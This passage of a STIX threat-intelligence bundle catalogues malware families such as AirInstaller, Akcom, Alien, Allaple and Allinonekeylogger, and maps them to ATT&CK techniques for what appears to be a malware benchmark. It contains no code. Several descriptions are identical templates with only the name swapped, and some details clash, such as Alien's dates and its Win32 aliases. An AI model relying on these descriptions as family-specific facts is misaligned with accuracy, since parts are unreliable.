      "id": "relationship--4b1468cf-8250-598a-b1b6-d026604b383f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a7185531-68e8-51de-89af-498fd2dffc73",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ainslot exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b76ed06b-28cb-5bfd-87fa-aa7dba2c1149",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a7185531-68e8-51de-89af-498fd2dffc73",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ainslot exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--02c5a172-8b91-581f-b6cd-5275609a236b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a7185531-68e8-51de-89af-498fd2dffc73",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ainslot exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6c669964-d02a-561e-a73b-35316803bb35",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Airinstaller",
      "description": "AirInstaller (cataloged across endpoint security vendors under signatures including SoftwareBundler:Win32/AirInstaller, PUA:Win32/AirInstaller, and Adware:Win32/AirInstaller) is a prominent commercial software monetization framework and deceptive installer wrapper active since 2012. Commonly repackaged around legitimate open-source and freeware utilities (such as VLC media player, 7-Zip, or PDF readers) on third-party download portals, AirInstaller wraps the genuine application inside a multi-offer advertising installation pipeline. It connects to dynamic ad-server APIs to fetch real-time payloads based on victim geo-IP location, silently dropping search hijackers, adware toolbars, and cryptocurrency miners. AirInstaller creates persistent scheduled tasks, injects registry autoruns, and modifies browser shortcuts to sustain perpetual advertising revenue. (Observed samples in benchmark: 26)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "SoftwareBundler:Win32/AirInstaller",
        "PUA:Win32/AirInstaller",
        "Adware:Win32/AirInstaller",
        "Win32/AirInstaller",
        "AirInstaller Bundler"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Airinstaller",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/airinstaller"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--20bab0cf-8012-513f-8d3f-3e3d232cf641",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Akcom",
      "description": "Akcom (classified in antivirus detection telemetry under designations including Ransom:Win32/Akcom, Ransom.Win32.Akcom, and Win32/Akcom) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Akcom executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Akcom",
        "Downloader.Akcom",
        "Win32/Akcom",
        "Ransom:Win32/Akcom",
        "Ransom.Win32.Akcom"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Akcom",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/akcom"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--49e64a03-3e5f-5f84-bdce-201a1f2bd160",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--20bab0cf-8012-513f-8d3f-3e3d232cf641",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Akcom exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8e1aa5ec-eb39-5968-a2de-ce2220a001ad",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--20bab0cf-8012-513f-8d3f-3e3d232cf641",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Akcom exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1ca9b59e-ad27-52ae-9a09-a48b0bdbc057",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--20bab0cf-8012-513f-8d3f-3e3d232cf641",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Akcom exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--86de775f-0bda-58da-ad0e-4a634c81f532",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Akely",
      "description": "Akely (classified in antivirus detection telemetry under designations including Ransom:Win32/Akely, Ransom.Win32.Akely, and Win32/Akely) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Akely executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Akely",
        "Ransom.Win32.Akely",
        "Win32/Akely"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Akely",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/akely"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3cba3afb-8aba-57a0-9aaa-a3a3b7a6ce99",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--86de775f-0bda-58da-ad0e-4a634c81f532",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Akely exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ab8fe233-25b5-5e0f-ba27-b9f8ae95b436",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--86de775f-0bda-58da-ad0e-4a634c81f532",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Akely exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--68d6c2fa-b73f-5cac-b54a-589abc10201a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--86de775f-0bda-58da-ad0e-4a634c81f532",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Akely exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c45ade87-2461-50df-912c-4f1874ff80bd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--86de775f-0bda-58da-ad0e-4a634c81f532",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Akely exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ef22e79a-e2e3-5988-8bd4-49c2b183e10e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--86de775f-0bda-58da-ad0e-4a634c81f532",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Akely exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7a15690a-7031-502d-bccb-1188c3a77e73",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Aksula",
      "description": "Aksula (classified in antivirus detection telemetry under designations including Ransom:Win32/Aksula, Ransom.Win32.Aksula, and Win32/Aksula) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Aksula executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Aksula",
        "Downloader.Aksula",
        "Win32/Aksula",
        "Ransom:Win32/Aksula",
        "Ransom.Win32.Aksula"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Aksula",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/aksula"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--664b8e06-2871-5594-a8db-1a60b973e5d2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7a15690a-7031-502d-bccb-1188c3a77e73",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Aksula exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--15833685-516d-5ff1-b230-816e971d2cf4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7a15690a-7031-502d-bccb-1188c3a77e73",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Aksula exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--54c14bf9-b53f-51ba-9942-6b05afcab66d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7a15690a-7031-502d-bccb-1188c3a77e73",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Aksula exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0108fa68-7975-5ff3-bed9-edf7809be4c2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Alien",
      "description": "Alien (tracked across threat intelligence as AlienBot, Alien Android Banking Trojan, and Trojan:Android/Alien) is a formidable Android banking trojan that emerged in early 2020 as an enhanced successor to the leaked Cerberus banking trojan source code. Following the public leak of the Cerberus v2 codebase in August 2020, threat actors adopted and significantly overhauled the framework, marketing Alien as a premier Malware-as-a-Service (MaaS) subscription on Russian-language underground cybercrime forums. Alien is engineered to attack over 226 financial institutions, mobile banking applications, cryptocurrency exchanges, and social media platforms across North America, Europe, and the Asia-Pacific region. Distributed primarily through rogue SMS phishing (smishing) lures and malicious APK droppers hosted on spoofed update portals, Alien aggressively co-opts the Android Accessibility Service (AccessibilityService). Once granted accessibility rights by the victim, Alien automatically assigns itself Device Administrator privileges, silently disables Google Play Protect, grants itself extensive SMS/Call permissions, and blocks user attempts to access device settings to uninstall the malicious application. Alien's core capability is an advanced dynamic webview overlay attack engine: it monitors running foreground packages, and whenever a targeted banking or crypto app is opened, it instantly renders an indistinguishable HTML phishing overlay on top of the legitimate UI to capture banking credentials and credit card information. Uniquely, Alien integrates a customized TeamViewer remote-access module, allowing operators to assume real-time interactive remote control over the mobile device. The trojan intercepts incoming SMS verification codes, steals Google Authenticator 2FA tokens, harvests contacts, and communicates with redundant C2 servers utilizing encrypted HTTP endpoints with Telegram bot channels as a resilient fallback. (Observed samples in benchmark: 19)",
      "is_family": true,
      "malware_types": [
        "trojan",
        "banking-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Alien",
        "Backdoor:Win32/Alien",
        "Win32/Alien",
        "Trojan.Alien",
        "AlienBot",
        "Alien Android Trojan",
        "Trojan-Banker.AndroidOS.Alien"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Alien",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/alien"
        }
      ],
      "labels": [
        "banking_trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9786df8e-8277-52b3-b1bf-66fa8bb85e9a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Alinaos",
      "description": "Alinaos (classified in antivirus detection telemetry under designations including Trojan:Win32/Alinaos, Trojan.Win32.Alinaos, and Win32/Alinaos) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Alinaos executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Alinaos",
        "Trojan.Win32.Alinaos",
        "Win32/Alinaos"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Alinaos",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/alinaos"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--30e9046a-dc48-58d0-a60d-f1836784f5a7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1005: Data from Local System (Scraping RAM for Track 1/Track 2 data)",
      "description": "MITRE ATT&CK Technique T1005 (Data from Local System (Scraping RAM for Track 1/Track 2 data)) under tactic Collection.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1005",
          "url": "https://attack.mitre.org/techniques/T1005/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5de11994-8a66-5b9a-ae5b-344f5b79f105",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9786df8e-8277-52b3-b1bf-66fa8bb85e9a",
      "target_ref": "attack-pattern--30e9046a-dc48-58d0-a60d-f1836784f5a7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Alinaos exhibits technique T1005 (Data from Local System (Scraping RAM for Track 1/Track 2 data))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ab3c8cb4-1b5e-58ce-84da-264a009dee92",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9786df8e-8277-52b3-b1bf-66fa8bb85e9a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Alinaos exhibits technique T1547.001 (Boot or Logon Autostart Execution (Persistence via Registry Run keys))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--772551ec-8f8a-5fc0-9ee5-8b57c9dbe443",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1074.001: Data Staged: Local Data Staging (Storing scraped cards in a hidden file)",
      "description": "MITRE ATT&CK Technique T1074.001 (Data Staged: Local Data Staging (Storing scraped cards in a hidden file)) under tactic Collection.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1074.001",
          "url": "https://attack.mitre.org/techniques/T1074/001/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0f3acfbb-344c-5e21-ab1d-b69abb23dcc1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9786df8e-8277-52b3-b1bf-66fa8bb85e9a",
      "target_ref": "attack-pattern--772551ec-8f8a-5fc0-9ee5-8b57c9dbe443",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Alinaos exhibits technique T1074.001 (Data Staged: Local Data Staging (Storing scraped cards in a hidden file))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1041: Exfiltration Over C2 Channel",
      "description": "MITRE ATT&CK Technique T1041 (Exfiltration Over C2 Channel) under tactic Exfiltration.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1041",
          "url": "https://attack.mitre.org/techniques/T1041/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--038b8ac8-0e00-527a-9dd5-d52d8b4e3d4f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9786df8e-8277-52b3-b1bf-66fa8bb85e9a",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Alinaos exhibits technique T1041 (Exfiltration Over C2 Channel)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6b83be6e-f692-5b7c-be7d-f7d281f33672",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Aliser",
      "description": "Aliser (cataloged across antivirus vendors and historical academic research under classifications including Win32/Aliser, Virus:Win32/Aliser, and Aliser.7825) is a classic polymorphic Windows PE file infector and parasitic trojan active since 2004. Engineered to achieve deep system compromise and self-preservation, Aliser scans local fixed disks and accessible network shares for valid Portable Executable (PE) files. When target executables are discovered, Aliser appends its encrypted polymorphic body to the final section of the binary, patches the entry point to divert execution flow through its decryption routine, and preserves the original host code to avoid immediate user detection. Additionally, Aliser drops auxiliary backdoor utilities into system directories, modifies registry boot values, and attempts to suppress local antivirus monitors. (Observed samples in benchmark: 52)",
      "is_family": true,
      "malware_types": [
        "virus"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Win32/Aliser",
        "Virus:Win32/Aliser",
        "Aliser.7825",
        "Virus.Win32.Aliser",
        "Win32.Aliser.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Aliser",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/aliser"
        }
      ],
      "labels": [
        "file_infector",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e7269418-19a1-5686-abee-8de04231bdf5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Allaple",
      "description": "Allaple (also cataloged in threat research as Rahack, Net-Worm.Win32.Allaple, and W32/Allaple) is an infamous, self-propagating polymorphic computer worm first detected in 2006. Engineered to autonomously spread across internal networks and the public internet, Allaple weaponized a critical stack-based buffer overflow in the Windows Server Service (srvsvc.dll) canonicalize routine (CVE-2006-3439 / MS06-040). Operating over SMB TCP ports 139 and 445, Allaple generated massive sweeps of random IP addresses, blasting malicious NetprPathCanonicalize RPC requests that forced target machines to execute injected shellcode without any authentication or user interaction. Allaple is renowned for its advanced polymorphic XOR decryptor engine: upon infecting an executable file or spawning a new network propagation thread, the worm rewrote its entire decryption routine using randomly generated mathematical operations, registers, and junk instructions (NOPs, increment, decrement), fundamentally defeating signature-based antivirus detection at the time. Beyond autonomous propagation, Allaple executed local file infection across all fixed and removable storage drives, modifying PE executables (.exe and .scr) by appending its polymorphic shellcode to file headers. The worm generated such staggering volumes of outbound network scanning packets and ICMP echo requests that it routinely caused catastrophic denial-of-service conditions, collapsing corporate switches, saturating ISP uplinks, and knocking enterprise networks offline. (Observed samples in benchmark: 140)",
      "is_family": true,
      "malware_types": [
        "worm"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Rahack",
        "Net-Worm.Win32.Allaple",
        "W32/Allaple",
        "Worm.Allaple",
        "Win32.Allaple.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Allaple",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/allaple"
        }
      ],
      "labels": [
        "worm",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2b98cb3f-87d5-507b-a08f-3a1c2c4388cc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Allinonekeylogger",
      "description": "Allinonekeylogger (classified in antivirus detection telemetry under designations including PWS:Win32/Allinonekeylogger, PWS.Win32.Allinonekeylogger, and Win32/Allinonekeylogger) is a dedicated information theft malware engineered to harvest stored credentials, browser session cookies, cryptocurrency wallets, and keystrokes. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Allinonekeylogger executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include credential database extraction, API hooking, system discovery, and encrypted C2 exfiltration. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PWS:Win32/Allinonekeylogger",
        "PWS.Win32.Allinonekeylogger",
        "Win32/Allinonekeylogger"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Allinonekeylogger",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/allinonekeylogger"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b3a9f045-5faa-5793-8829-be0460ba516f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2b98cb3f-87d5-507b-a08f-3a1c2c4388cc",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Allinonekeylogger exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2c8e4736-9b96-5aae-90cb-18da55430cfc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2b98cb3f-87d5-507b-a08f-3a1c2c4388cc",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Allinonekeylogger exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--d7bd29aa-86c7-5903-8cae-4f2aef4d2e59",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1115: Clipboard Data",
      "description": "MITRE ATT&CK Technique T1115 (Clipboard Data) under tactic Collection.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1115",
          "url": "https://attack.mitre.org/techniques/T1115/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ddb9d3b6-80fd-570f-a6ae-3b79b82b27e3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2b98cb3f-87d5-507b-a08f-3a1c2c4388cc",
      "target_ref": "attack-pattern--d7bd29aa-86c7-5903-8cae-4f2aef4d2e59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Allinonekeylogger exhibits technique T1115 (Clipboard Data)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--de8393b6-805f-5489-8c8d-1aa65c150b88",
      "created": "2026-01-01T00:00:00.000Z",
